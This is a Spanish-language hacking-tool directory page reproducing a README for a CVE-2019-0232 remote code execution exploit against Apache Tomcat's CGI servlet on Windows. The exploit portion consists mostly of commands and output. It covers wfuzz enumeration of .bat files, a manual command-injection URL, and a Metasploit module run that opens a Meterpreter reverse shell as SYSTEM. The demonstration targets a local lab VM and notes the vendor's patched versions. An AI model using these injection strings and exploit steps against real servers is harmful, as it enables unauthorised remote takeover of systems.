Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-0232 — CVE-2019-0232-Ejecución remota de código en Apache Tomcat 7.0.42 | Kitploit
Herramientas/GitHubGitHub/setrus/cve-2019-0232
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHubsetrus/cve-2019-0232

CVE-2019-0232

CVE-2019-0232-Ejecución remota de código en Apache Tomcat 7.0.42

Ver Repositorio
20747hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-0232 Exploit Ejecución remota de código (RCE) en el Servlet CGI – Apache Tomcat en Windows

Refference : https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/

root@kitploit:~
Apache Tomcat tiene una vulnerabilidad en el Servlet CGI que puede ser explotada para lograr ejecución remota de código (RCE). Esto solo es explotable cuando se ejecuta en Windows en una configuración no predeterminada junto con archivos por lotes.

El proveedor lanzó una corrección en las versiones de Tomcat 7.0.94, 8.5.40 y 9.0.19. Se recomienda a los usuarios actualizar lo antes posible. Se ha asignado CVE-2019-0232 para rastrear este problema.

Necesario para explotar esto:

Virtual Box: Windows 7 x86 Tomcat 7.0.42 Java JRE instalado

Después de instalar Tomcat 7.0.42 realizamos las siguientes modificaciones:

Contenido de /webapps/ROOT/WEB-INF/

Texto alternativo

En la carpeta cgi creé 2 archivos: hello.bat y test.bat

Texto alternativo

El valor de Context privileged=true debe agregarse en /conf/context.xml

Texto alternativo

Realice los siguientes cambios en /conf/web.xml

Texto alternativo

y

Texto alternativo

Probando si hay un archivo *bin presente en el servidor

root@kitploit:~
root@setrus:~# wfuzz -c -z file,/usr/share/wordlists/rockyou.txt --hc 404 http://192.168.1.174:8080/cgi/FUZZ.bat

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.174:8080/cgi/FUZZ.bat
Total requests: 14344392

==================================================================
ID	Response   Lines      Word         Chars          Payload    
==================================================================

000060:  C=200      1 L	       1 W	     14 Ch	  "hello"
006127:  C=200      1 L	       1 W	     14 Ch	  "HELLO"
010616:  C=404      0 L	       0 W	      0 Ch	  "bball11"^C

Texto alternativo

Prueba de explotación manual navegando a: http://localhost:8080/cgi/test.bat%20%20?&dir

Texto alternativo

Ahora estamos ejecutando comandos en el servidor.

Metasploit - Shell en la máquina Hay un módulo de Metasploit que nos dará una shell en la máquina: exploit/windows/http/tomcat_cgi_cmdlineargs

https://www.exploit-db.com/exploits/47073

Nota: Para que el exploit funcione, debes tener la ruta exacta del archivo bat.

root@kitploit:~
msf5 > search CVE-2019-0232

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/windows/http/tomcat_cgi_cmdlineargs  2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability

msf5 > use exploit/windows/http/tomcat_cgi_cmdlineargs
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set targeturi /cgi/hello.battargeturi => /cgi/hello.bat
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit

[*] Started reverse TCP handler on 192.168.1.159:4444 
[*] Checking if 192.168.1.174 is vulnerable
[*] 192.168.1.174 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (180291 bytes) to 192.168.1.174
[*] Command Stager progress - 100.02% done (100692/100668 bytes)
[*] Meterpreter session 1 opened (192.168.1.159:4444 -> 192.168.1.174:49185) at 2019-11-21 06:47:23 -0800

meterpreter > 
[!] Make sure to manually cleanup the exe generated by the exploit
meterpreter > shell
Process 2116 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 7.0_Tomcat7.0.42\webapps\ROOT\WEB-INF\cgi>whoami
whoami
nt authority\system

Texto alternativo

Descargar herramienta